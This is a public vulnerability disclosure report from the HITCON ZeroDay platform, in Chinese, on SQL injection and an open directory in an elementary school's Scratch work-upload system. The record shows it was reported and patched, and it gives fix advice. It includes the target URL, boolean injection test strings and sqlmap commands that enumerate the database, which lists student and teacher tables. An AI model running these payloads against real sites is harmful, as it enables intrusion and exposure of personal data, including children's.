文德國民小學 系統存在 SQL 注入及目錄遍歷等多個漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00767
  •  發信 Vendor: 高雄市鳳山區文德國民小學
  • Title: 文德國民小學 系統存在 SQL 注入及目錄遍歷等多個漏洞
  • Introduction: 該校作品上傳系統存在多個安全漏洞，包含 SQL 注入、目錄遍歷等，詳細影響請學校自行評估

處理狀態

目前狀態

公開
Last Update : 2025/08/19
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/07/20 00:45:46 : 新提交 (由 肉 更新此狀態)
  • 2025/07/20 00:46:16 : 新提交 (由 肉 更新此狀態)
  • 2025/07/20 00:46:49 : 新提交 (由 肉 更新此狀態)
  • 2025/07/20 00:49:56 : 新提交 (由 肉 更新此狀態)
  • 2025/07/22 13:25:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/01 18:23:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/01 18:23:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/01 18:23:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/11 14:55:19 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/08/19 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID：ZD-2025-00767
  • 通報者：kevin2758 (肉)
  • 風險：中
  • 類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

相關網址

https://shadow.wdp.kh.edu.tw/~filix/scratch/show_scratch.php

敘述

漏洞概述

發現 Scratch 系統存在 SQL 注入及目錄遍歷等多個嚴重漏洞，但Scratch頁面的sql注入卻有學校資料...

重現步驟&詳情

  1. SQL Injection
    位置：show_scratch.php?id=

    https://shadow.wdp.kh.edu.tw/~filix/scratch/show_scratch.php?id=1464%20AND%201=1
正常：?id=1464 AND 1=1 (顯示資料)
https://shadow.wdp.kh.edu.tw/~filix/scratch/show_scratch.php?id=1464%20AND%201=2
異常：?id=1464 AND 1=2 (空白頁面)

    圖片
    圖片

  2. sqlmap 確認：

    sqlmap -u "https://shadow.wdp.kh.edu.tw/~filix/scratch/show_scratch.php?id=1464" \
   --banner \
   --batch \
   --threads=1 \
   --delay=1

    圖片

    sqlmap -u "https://shadow.wdp.kh.edu.tw/~filix/scratch/show_scratch.php?id=1464"        --tables        --batch
  --threads=1        --delay=1

    Type: Boolean-based, Time-based, UNION (19 columns)
    Database: MySQL 8.0.42
    發現 多個資料表，包含 student、teacher

圖片

  1. 目錄遍歷
    位置：/sb/ 目錄完全開放
    影響：所有作品檔案可直接下載

圖片

影響

  1. 資料外洩
  2. 資料庫洩漏

修補建議

1. 立即關閉目錄瀏覽
2. 修復 SQL 注入（使用參數化查詢）

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
;